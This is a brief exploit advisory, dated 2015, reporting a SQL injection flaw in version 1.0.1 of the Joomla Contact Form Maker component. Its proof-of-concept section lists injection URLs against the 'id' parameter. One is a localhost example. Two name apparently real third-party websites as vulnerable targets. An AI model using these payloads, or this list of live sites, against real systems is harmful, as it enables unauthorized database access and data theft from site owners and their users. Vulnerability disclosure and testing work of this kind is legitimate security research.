Joomla Contact Form Maker component version 1.0.1 suffers from a remote SQL injection vulnerability.
c72c33feb4b25c9235eb9d9cbf2368498704c1d5d0f542f88ca3d988ddf92a7c
[+]Title: Joomla Contact Form Maker v1.0.1 Component - SQL injection vulnerability
[+]Author: TUNISIAN CYBER
[+]Date: 29/03/2015
[+]Vendor: https://extensions.joomla.org/extensions/extension/contacts-and-feedback/contact-forms/contact-form-maker
[+]Type:WebApp
[+]Risk:High
[+]Overview:
Contact Form Maker v1.0.1 suffers, from an SQL injection vulnerability.
[+]Proof Of Concept:
127.0.0.1/index.php?option=com_contactformmaker&view=contactformmaker&id=SQL
https://hmg-e-publishing.com/index.php?option=com_contactformmaker&view=contactformmaker&id=-1%27
https://ariane.com/index.php?option=com_contactformmaker&view=contactformmaker&id=-1'